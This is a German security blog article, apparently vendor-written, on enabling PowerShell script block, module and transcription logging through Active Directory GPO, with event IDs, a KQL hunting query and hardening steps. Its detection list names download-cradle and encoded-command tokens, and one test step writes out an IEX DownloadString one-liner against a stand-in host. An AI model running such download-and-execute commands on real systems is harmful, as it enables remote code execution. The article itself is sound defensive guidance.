🏢Active DirectoryGPOMonitoringCompliance

PowerShell Script Block Logging Active Directory GPO: Was Ihnen Fehlt

In den meisten Active-Directory-Umgebungen sind PowerShell Script Block Logging, Modul-Logging und Transkription standardmäßig noch deaktiviert – die drei GPO-Einstellungen, die dateilose PowerShell-Angriffstechniken sichtbar statt unsichtbar machen.

Younes AZABARVon Younes AZABAR9 Min. Lesezeit
PowerShell Script Block Logging Active Directory GPO: Was Ihnen Fehlt

Was ist PowerShell Script Block Logging (und warum es eine von drei Einstellungen ist, nicht nur eine)

PowerShell Script Block Logging Active Directory GPO-Einstellungen gehören zusammen mit Modul-Logging und Transkription zu den wertvollsten Detection-Controls, die in den meisten Windows-Umgebungen nach wie vor standardmäßig deaktiviert sind. Script Block Logging selbst ist eine über Group Policy gesteuerte Einstellung, die den vollständigen Text jedes auf einer Maschine ausgeführten PowerShell-Skriptblocks – einschließlich verschleiertem oder dynamisch generiertem Code – direkt in das Windows-Ereignisprotokoll schreibt. Zusammen machen die drei Einstellungen den Unterschied zwischen einem forensischen Nachweis dessen, was auf einem Host lief, und nichts als einer Lücke dort, wo einmal ein Vorfall war.

Das ist relevanter, als der Schweregrad im Katalog vermuten lässt. Ein Großteil moderner Post-Exploitation-Tradecraft ist dateilos: Sie läuft vollständig im Arbeitsspeicher über PowerShell und hinterlässt keine ausführbare Datei auf der Festplatte, die Antivirus- oder EDR-Dateiscans erfassen könnten (Malwarebytes / ThreatDown zum Black-Basta-PowerShell-zu-Cobalt-Strike-Loader). Ohne diese drei GPO-Einstellungen ist diese Aktivität für Ihr SIEM praktisch unsichtbar.

PowerShell Script Block Logging Active Directory GPO: Wie die Drei Einstellungen Funktionieren

Alle drei befinden sich unter demselben Group-Policy-Pfad — derselben Objektklasse, die in unserem Leitfaden zu GPO-Fehlkonfigurationen als Angriffsvektor behandelt wird, denn eine falsch verknüpfte oder überschriebene GPO bedeutet hier „aktiviert" nur auf dem Papier:

Computerkonfiguration > Administrative Vorlagen > Windows-Komponenten > Windows PowerShell
EinstellungGPO-NameRegistrierungsschlüsselEvent-Quelle
Script Block LoggingProtokollierung von Skriptblöcken aktivierenHKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggingEnableScriptBlockLogging (DWORD)Event ID 4104
Modul-LoggingModulprotokollierung aktivierenHKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLoggingEnableModuleLogging (DWORD) + ModuleNamesEvent ID 4103
TranskriptionPowerShell-Transkription aktivierenHKLM\Software\Policies\Microsoft\Windows\PowerShell\TranscriptionEnableTranscripting (DWORD)Textdateien, kein Ereignisprotokoll

Script Block Logging (Event ID 4104)

Ist die Einstellung aktiviert, wird jeder von PowerShell geparste Skriptblock — auch ein Base64-codierter oder zur Laufzeit per String-Konkatenation zusammengesetzter — als Event ID 4104 in Microsoft-Windows-PowerShell/Operational protokolliert, inklusive des deobfuskierten Inhalts. Das ist die mit Abstand wertvollste der drei Einstellungen, denn sie hebelt einfache Verschleierung aus: Das Skript eines Angreifers mag auf der Leitung unlesbar wirken, aber PowerShell muss es zur Ausführung decodieren — und genau diesen Moment erfasst Script Block Logging (TrustedSec, „Building a Detection Foundation Part 3: PowerShell and Script Logging").

Innerhalb derselben Richtlinie gibt es eine zweite, optionale Ebene: Start-/Stopp-Ereignisse für Skriptblockaufrufe protokollieren, die zusätzlich die Event IDs 4105 und 4106 für jeden beginnenden und beendeten Block ausgibt. Diese Option ist sehr detailliert (verbose), standardmäßig deaktiviert selbst wenn Script Block Logging selbst aktiv ist, und erzeugt genug Volumen, dass die meisten Umgebungen sie bewusst flächendeckend deaktiviert lassen.

$path = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord

Modul-Logging (Event ID 4103)

Modul-Logging zeichnet Pipeline-Ausführungsdetails für die von Ihnen angegebenen Module auf — Cmdlet-Aufrufe, Parameter und Pipeline-Objektausgaben — als Event ID 4103. Diese Funktion existiert seit PowerShell 3.0 als Eigenschaft LogPipelineExecutionDetails eines Moduls; die GPO ist lediglich der flächendeckende Weg, sie umzuschalten. Sie ist standardmäßig für jedes eingebaute Modul deaktiviert (Microsoft Learn, about_Group_Policy_Settings). Im Anzeigen…-Dialog der GPO listen Sie die zu protokollierenden Modulnamen auf; * deckt alle Module ab, was die meisten Umgebungen tun sollten — nur eine handverlesene Modulliste zu protokollieren erzeugt einen blinden Fleck, sobald ein Angreifer etwas außerhalb dieser Liste verwendet.

Transkription (keine Event ID — Textdateien)

Transkription unterscheidet sich grundsätzlich: Statt in das Ereignisprotokoll zu schreiben, legt sie ein Klartext-Transkript jeder PowerShell-Ein- und -Ausgabe in einer Datei ab — vergleichbar damit, automatisch bei jeder Sitzung Start-Transcript auszuführen. Konfigurieren Sie OutputDirectory auf eine zentrale, zugriffsbeschränkte UNC-Freigabe statt sie beim benutzerbezogenen Standard zu belassen, und aktivieren Sie Aufrufheader einschließen, damit jeder Befehl einen Zeitstempel erhält. Da Transkripte Dateien auf der Festplatte (oder einer Freigabe) sind, stellen sie eine vom Ereignisprotokoll unabhängige forensische Quelle dar und bleiben erhalten, selbst wenn ein Angreifer die Windows-Ereignisprotokolle löscht.

Warum Dies Eine Detection-Lücke Ist, Nicht Nur Ein Compliance-Häkchen

Frameworks wie Empire und Cobalt Strike führen ihre PowerShell-Stager und Post-Exploitation-Module vollständig im Arbeitsspeicher aus. Das Detection-Research-Team von Splunk hat für genau dieses Szenario eine eigene Analytic gebaut — Erkennung von Empire über PowerShell Script Block Logging — eben weil ohne 4104-Ereignisse die speicherinterne Ausführung von Empire auf dem Host sonst nichts zum Jagen hinterlässt. Die Prozesserstellungsprotokollierung (Event ID 4688) zeigt zwar den Start von powershell.exe, aber die Kommandozeile allein ist oft abgeschnitten, codiert oder so stark verschleiert, dass das Was — der tatsächlich ausgeführte Code — nur aus dem deobfuskierten Skriptblock-Inhalt von 4104 rekonstruierbar ist (Splunk, „Hunting for Malicious PowerShell using Script Block Logging").

Ein konkretes Beispiel: ThreatDowns Analyse einer Black-Basta-Intrusion zeigte, dass der initiale PowerShell-Stager mehrere Runden von Base64-Codierung, Kompression und Verschlüsselung übereinanderlegte, gezielt um statische Inspektion zu umgehen, bevor er ein Cobalt-Strike-Beacon direkt in den Arbeitsspeicher injizierte (ThreatDown, „How Black Basta Used PowerShell to Set Up a Cobalt Strike Beacon"). Keiner dieser Schritte berührt die Festplatte auf eine Weise, die klassische Antivirus-Signaturen erfassen — Script Block Logging ist es, was den codierten Blob in Ihrem Ereignisprotokoll wieder in lesbares PowerShell zurückverwandelt, nachdem PowerShell selbst bereits die Decodierungsarbeit für Sie erledigt hat.

Einfach gesagt: Sind alle drei Einstellungen deaktiviert, hinterlässt ein Angreifer, der einen codierten speicherinternen PowerShell-Loader ausführt, nur ein Prozesserstellungsereignis und sonst nichts. Sind sie aktiviert, hinterlässt derselbe Angriff einen decodierten Skriptblock, die berührte Modul-Pipeline und ein Text-Transkript dessen, was er getan hat.

Erkennung

Für das größere Bild, welche Windows-Event-IDs tatsächlich einen Platz in Ihrem SIEM verdienen, siehe Active Directory Monitoring: Die Sicherheits-Event-IDs, die zählen. Speziell für PowerShell:

IndikatorEvent IDQuelleWorauf zu Achten Ist
Skriptblock-Inhalt4104Microsoft-Windows-PowerShell/OperationalDeobfuskierter Skripttext mit Invoke-Expression, DownloadString, -EncodedCommand, IEX, reflektierendem Assembly-Laden
Start/Stopp des Skriptblockaufrufs4105 / 4106Microsoft-Windows-PowerShell/OperationalNur vorhanden, wenn die Aufrufprotokollierung separat aktiviert ist; nützlich zur Korrelation des genauen Ausführungszeitpunkts
Modul-Pipeline-Ausführung4103Microsoft-Windows-PowerShell/OperationalCmdlet + Parameter für Module außerhalb der normalen Baseline eines Hosts (z. B. Invoke-Mimikatz, Invoke-WMIExec)
Prozesserstellung4688Securitypowershell.exe / pwsh.exe mit -nop, -w hidden, -enc oder ungewöhnlich langen Kommandozeilen
Transkript-Dateienn/aKonfigurierte OutputDirectory-FreigabeKlartext-Sitzungsprotokolle, die mit dem Zeitstempel eines verdächtigen 4104-Ereignisses korrelieren

Eine minimale Hunting-Query gegen eine Sentinel-/KQL-artige Ereignistabelle, unter Nutzung des Kanals Microsoft-Windows-PowerShell/Operational:

Event
| where Channel == "Microsoft-Windows-PowerShell/Operational"
| where EventID in (4104, 4103, 4688)
| where RenderedDescription has_any (
    "Invoke-Expression", "IEX", "DownloadString", "-EncodedCommand",
    "FromBase64String", "Net.WebClient", "-nop", "-w hidden"
  )
| project TimeGenerated, Computer, EventID, RenderedDescription
| order by TimeGenerated desc

Das ist ein Ausgangspunkt, keine fertige Detection: Passen Sie die has_any-Liste an das normale Admin-Tooling Ihrer eigenen Umgebung an, denn RSAT-Module, Backup-Agenten und EDR-Agenten tauchen routinemäßig in der 4103-Telemetrie auf und würden eine naive Regel in Falsch-Positiven ertränken. Leiten Sie denselben Kanal in das Korrelationsprodukt, das Sie bereits betreiben — Sentinel, Splunk oder ein On-Prem-SIEM konsumieren Microsoft-Windows-PowerShell/Operational alle auf dieselbe Weise, der Aufwand liegt also im Tuning, nicht in der Verkabelung.

⚠️

⚠️ Warnung: 4104 allein zeigt kein Start-/Stopp-Timing, und Transkription allein übersteht keinen Angreifer, der die Logging-Registrierungsschlüssel mitten in der Sitzung mit erhöhten Rechten deaktiviert. Behandeln Sie die drei Einstellungen als sich ergänzende Ebenen, nicht als gegenseitigen Ersatz.

Behebung

💡

💡 Quick Win: Wenn Sie nur eine der drei Einstellungen aktivieren, wählen Sie Script Block Logging (4104) — es bietet den höchsten Detection-Wert bei geringstem Logvolumen, da es deobfuskierten Inhalt statt rohem Pipeline-Rauschen erfasst.

  1. Script Block Logging aktivieren. In einer mit Ihren Workstation-/Server-OUs verknüpften GPO: Computerkonfiguration > Administrative Vorlagen > Windows-Komponenten > Windows PowerShell > Protokollierung von Skriptblöcken aktivieren → Aktiviert. Lassen Sie die Start-/Stopp-Suboption deaktiviert, außer Sie haben SIEM-Budget für das zusätzliche Volumen.
  2. Modul-Logging für alle Module aktivieren. Derselbe GPO-Pfad, Modulprotokollierung aktivieren → Aktiviert → im Dialog Anzeigen… * hinzufügen, damit kein Modul unprotokolliert bleibt.
  3. Transkription mit zentralem Ausgabeverzeichnis aktivieren. PowerShell-Transkription aktivieren → Aktiviert, OutputDirectory auf eine nur beschreibbare UNC-Freigabe setzen (Lese-/Löschrechte für Standardbenutzer verweigern), und Aufrufheader einschließen aktivieren.
  4. Microsoft-Windows-PowerShell/Operational an Ihr SIEM weiterleiten. Diese Einstellungen helfen nur, wenn die Ereignisse den Host tatsächlich verlassen — dieselbe Audit-Policy-Disziplin, die in Active Directory Auditrichtlinien: Konfigurationslücken behandelt wird: Stellen Sie sicher, dass Ihre Log-Forwarding-Konfiguration diesen Kanal tatsächlich abonniert, nicht nur Security.
  5. Mit gpresult und der Registrierung verifizieren, nicht nur mit der GPO-Konsole — bestätigen Sie an einer Stichprobe von Mitgliedsservern und Workstations, dass die Richtlinie tatsächlich angewendet wurde (gpresult /h report.html oder Prüfung der oben genannten Registrierungsschlüssel), da Fehler im GPO-Verknüpfungsbereich und in der Rangfolge ein häufiger Grund sind, warum „aktivierte" Richtlinien nie den Endpunkt erreichen.
  6. Die Pipeline Ende-zu-Ende testen. Führen Sie auf einem sandboxed Testhost einen bewusst auffälligen, aber harmlosen Befehl aus (zum Beispiel IEX (New-Object Net.WebClient).DownloadString('http://example.invalid') gegen eine nicht auflösbare Domain) und bestätigen Sie, dass das entsprechende 4104-Ereignis sowohl lokal erscheint als auch in Ihrem SIEM ankommt. Eine GPO, die „angewendet" wird, deren Ereignisse aber nie im SIEM ankommen, ist funktional identisch mit gar keiner GPO.
  7. Einschränken, wer die GPO bearbeiten und wer lokaler Administrator sein darf. Alle drei Einstellungen liegen in der Registrierung unter HKLM; ein Benutzer mit lokalen Administratorrechten kann sie deaktivieren, also grenzen Sie die Mitgliedschaft in der lokalen Administratorengruppe bewusst als Teil desselben Hardening-Durchgangs ein. Kombinieren Sie dies mit eindeutigen, rotierten lokalen Administrator-Anmeldeinformationen — siehe Windows LAPS Nicht Bereitgestellt und die umfassendere Prioritätenliste in Active Directory Härten: Was Zuerst Gesichert Werden Sollte.

Wie EtcSec Dies Erkennt

Das Active-Directory-Audit von EtcSec prüft den effektiven Status aller drei Einstellungen in Ihrer gesamten Domäne über die Katalogeinträge PA038_PS_SCRIPTBLOCK_LOGGING_OFF, PA038_PS_MODULE_LOGGING_OFF und PA038_PS_TRANSCRIPTION_OFF sowie den umfassenderen Check POWERSHELL_LOGGING_DISABLED, und markiert Hosts oder GPO-Geltungsbereiche, in denen PowerShell-Aktivität unprotokolliert laufen würde — dasselbe Posture-Drift-Problem, das in Active Directory Sicherheit Auditieren: Checkliste behandelt wird.

ℹ️

ℹ️ Hinweis: EtcSec prüft diese Schwachstelle automatisch bei jedem AD-Audit. Führen Sie ein kostenloses Audit durch, um zu verifizieren, dass Ihre Umgebung PowerShell-Aktivität nicht unprotokolliert lässt.

Entdecken Sie die Identity-Security-Seiten zu diesem Thema